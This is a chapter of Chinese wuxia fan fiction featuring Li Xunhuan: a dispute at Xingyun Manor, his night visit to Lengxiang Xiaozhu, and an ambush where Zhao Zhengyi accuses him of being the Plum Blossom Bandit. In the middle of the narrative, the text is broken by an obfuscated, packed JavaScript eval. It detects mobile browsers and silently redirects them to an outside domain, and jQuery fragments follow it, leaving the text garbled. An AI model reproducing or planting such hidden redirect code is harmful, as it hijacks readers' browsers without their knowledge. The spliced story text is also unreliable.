*


    拳风激荡间,忽听一道严厉嗓音响起。


    “主子不知道什么叫和气,奴才有样学样,自然也不会懂事。”


    龙啸云循声望去,但见赵正义阔步而来,两只眼睛死死地瞪着李寻欢,道,“我就知道,你一来,便不会有好事发生!”


    龙啸云恳切道,“大哥,如此情状,自己人互相指责,又有什么益处。平白让敌人钻了空子。”


    赵正义冷哼道,“你拿他当自己人,人家恐怕却不是这么想的哩!”


    他负过手去,分毫没有要管的意思,“竖子寻衅在先,就算是被当场打死,也是自己寻了这黄泉路来走,与人无尤。”


    龙啸云跌足长叹,自己奔出去呼喊片刻,却无人理会,又只得折身来找李寻欢,道,“贤弟,你也劝一劝罢。”


    铁手将那倒霉大夫的上半身搀扶起来,翻出一枚小瓷瓶,从中倒出了一颗丸药喂其吃下。


    李寻欢蹲下身去,手指贴一贴他的脉搏,闻言,侧头淡淡反问道,“劝什么?”


    龙啸云看着他,呆了一呆,嘴唇张合数下,叹息一声,也不再说了。


    这边厢,嘴仗暂且告一段落,那边厢,动手的两人却已逐渐分出了上下之风。


    那髯须大汉的招式未必比秦孝仪精妙,偷袭暗算未必比秦孝仪擅长,却有一点强过他。


    此人出手,便是抱着自损八百也要伤敌一千的决心。没有后顾之忧,便无需花费心力防守,反倒胜人一筹。


    秦孝仪在这样的攻势之下,竟逐渐落了下乘。这回,赵正义的神色也才终于变了。


    他面露愤慨,震声道,“刁奴嚣张,如何有这样的道理,让老夫去压一压他的气焰!”


    这位“铁面无私”赵大爷的名号的确并非空穴来风。以为己方占上风时,便不许旁人插手;敌方势强时,就又转了口风。


    对自己想拉拢的人徇情枉法,对自己想铲除的人铁面无私,身边俱是受他殉情之人,又有谁不说一声赵正义果真“铁面无私”呢。


    李寻欢冷冷道,“赵大爷的道理难道就是以多欺少不成?”


    赵正义嘿然冷笑,道,“主子管教不好家里的奴仆,让他出了家门,在外面丢人现眼,也只好被旁人管教一二了!”


    李寻欢看着他,指尖已夹住了一把飞镖。


    这样的行径为人不齿,只是赵正义既然敢如此作为,自然有恃无恐。


    待此事传扬出去时,恐怕便会大变一副模样,成了赵大哥“惩恶扬善”的又一实绩。


    不过,今时却不同以往。龙啸云不由加重了语气,“大哥!”


    赵正义循着他的视线看向铁手,微微一怔。


    愣神只在一瞬之间,这位江湖豪杰转瞬便又沉下了面色,目露不满,却不再多言了。


    龙啸云夹在两方人马之间,当真如同一只跌来撞去的陀螺,鬓发都已被冷汗打湿了。


    今日,他穿着一件衣领略高的衣服,此刻热将起来,下意识地把领口扯开了三分,露出脖颈处一块已经结痂的伤口。


    恰在此时,两股气劲陡然相撞,积雪都被激荡出数丈,秦孝仪惨呼一声,竟被那车夫的拳风震飞了出去。


    见势不好,立时便有数名绿林好汉飞身而去,扶住了险些被清空血槽的秦老爷子。


    龙啸云也连忙赶过去,正欲说两句话作为转圜,秦孝仪却已不想再听。


    他虽是龙啸云的结义三哥,此刻却也很难有心情给这位贤弟好脸色看。


    “铁胆震八方”秦老爷子的尊严,自然并非是一届小小郎中的性命可以比拟的。


    秦孝仪打伤百草堂的大夫,是拳拳爱子之心;车夫伤了秦孝仪,却是穷凶极恶,与武林正道为敌。


    这一架打完,兴云庄中的贵客们虽未言明,却已是对李寻欢避之唯恐不及,再没有好颜色给他瞧了。


    纵使龙啸云坚持不放结义兄弟离开,髯须大汉却已再不能在此处待下去了。


    主仆二人依依惜别,是日傍晚,他便离开了兴云庄。


    *


    夜深了,雪花似乎也化作了点点潮湿的水汽,附着在衣服之上,一点点渗入皮肉之中。


    阿飞又回到了那间城外的破旧祠堂里,芒青不知干什么去了,也不见了踪迹。


    李寻欢静静地走着。


    他厌恶那些所谓的“正道人士”至极,连虚与委蛇都不肯,也只好眼不见心不烦,把自己关在客房半日,及至晚上,却仍旧没有睡意。


    东坡居士乃是乙科出身,李寻欢为探花,自然也找不到一个亦未寝的“张怀民”。


    不知不觉间,他竟又走到了“冷香小筑”前。


    中年人站定在石桥之上,看着那栋再熟悉不过的建筑。百十余棵梅花树齐齐盛放,红梅点点、白雪皑皑,李寻欢却只觉得心中有说不出的寂寥和萧索。


    冷香小筑内灯火昏黄,蜡烛上燃烧的火焰不时摇晃一下,窗纸上的灯影便也跟着扭曲了形状。


    李寻欢驻足良久。朔风拍打在身上,他却恍若未觉。


    忽然,一声细小却清晰的“吱呀”声飘飘悠悠,送进了李寻欢的耳畔。


    那双忧郁的眼睛里骤然迸发出了两点光亮。


    他当即锁定声响的来源,凝目一瞧,只见一道黑影骤然从小楼之中疾风般飞窜了出去。不待人反应过来,便已消失在了幽幽密林之中,几乎让人疑心是自己的错觉。


    但李寻欢知道,那绝不会是错觉。


    电光火石之间,他已想到了龙啸云曾经说过的话。


    梅花盗盯上了林仙儿。


    林仙儿如今正住在冷香小筑中。那人会是梅花盗吗?


    李寻欢脑中思忖,动作却不迟疑,足尖一点,便跃出三丈,轻飘飘落在二楼的栏窗边,轻扣窗棂,道,“林姑娘。”


    木头被敲响,发出“笃笃”的响声,屋中却无一人回应。


    李寻欢便又敲了三下窗子。


    他的询问依然石沉大海。


    静谧的夜色之中,仿佛张开了一张无形的大网,只待兜头落下,将猎物一网而尽。


    李寻欢沉默片刻,第三次敲响了窗户。


    仍旧没有人应答。


    李寻欢的手触碰上了窗子,却并没有再扣响它。


    窗户被霍然推开,合页发出一声熟悉的、急促而嘶哑的“吱呀”声。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352618|180007||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    屋子中燃着白烛,窗边的小几上摆着两毛笔和一卷宣纸。


    镇纸放得随意,一草一木皆是旧主离开时的模样。李寻欢几乎立刻便透过这熟悉的场景想起了当日的情状,纸上的诗句甚至还仿佛留有未干的墨迹。


    炉中炭火劈啪作响,连被褥的花纹都没有改变。


    李寻欢轻轻踏在地砖之上,不由自主地抚过那幅被主人信手写下,又遗留许多年的草纸。


    他的目光滑向了餐桌。


    描金的檀木餐盒放在一边,盒盖虚掩,露出其内一只盛着金黄银耳的雪白瓷碗。


    桌子上摆放着一些精巧的餐食。两道菜,一道汤,一副碗筷,还有五只围在一起的杯子。


    李寻欢的视线凝注在那一组分外突兀的杯子上。


    圆滚可爱的杯口,似乎逐渐幻化成了五片盛放的梅花花瓣。


    他不由向前踏出一步,身影正在这时映上了窗纸。


    下一瞬,一道银芒骤然闪至,刹那间穿熄了烛火。


    屋中立时陷入了一片伸手不见五指的黑暗。无数暗器紧随其后,穿过窗纸和纱幔,朝着李寻欢的命门四面八方、呼啸而来。


    原本空寂的小楼外,转瞬之间变得喧嚣了起来。


    火光明亮如白昼,呼喝、叫骂之声不绝于耳。


    “梅花盗!总算等到你现身,还不速速束手就擒!”


    “狂妄贼子,今日你就算插上翅膀,也逃不开我们的天罗地网!”


    蜘蛛的步足颤动着,缓缓地吊下丝来。悬在半空之中的巨网终于落下,困住了其内挣扎的小虫。


    暗器如同落雨般,“叮叮当当”地打在屋舍之中。


    小几翻覆,被后主人悉心爱护的旧物掀落在地面上,沾染了抹不掉的污渍。


    李寻欢旋身避开一支淬毒短剑,如同一只蝴蝶般轻飘飘踏出窗外。


    楼下人群里的叫骂之声立时哄乱成了一片或惊慌或愤怒的大喊。


    站在最前面的四条背光的身影仍然不动如山。除此之外,有人满面惊恐地向后退去,有人目含怒容地向前迎来,人仰马翻,好不热闹。


    忽听一声威严断喝传来,气息沉浑、绵延,并不见他如何呼喊,话中内容却人人都能听得一清二楚,“安静!不要忙乱!”


    骚动止歇,李寻欢也翩然落在了空地之上。


    龙啸云大惊失色,当即抢上前去,道,“寻欢?!你怎么在这里!”


    在他身后,并排站着两人。


    一人面色如同秋后残叶,骨瘦如柴、手脚伶仃,一身衣服穿在身上,几乎像是田野间摇摆的稻草人。


    另一人衣着簇花锦衣,制工精巧,面容和煦、慈眉善目,是影视剧中符合刻板印象的“富家翁”形象。


    这二人之后,便是才见过不久的老熟人,“铁面无私”赵正义。


    这位赵大爷的目光冷冷地落在李寻欢的身上。跳动的火光映在他的眸底,似乎也为其增添了几分明灭不定的打量与忖度。


    他忽而冷笑道,“兴云庄原就是李探花送给龙庄主的。此间旧主,无论身在何处,恐怕都不会引人怀疑,所以,自然也不会有人想到,你李寻欢就是梅花盗。”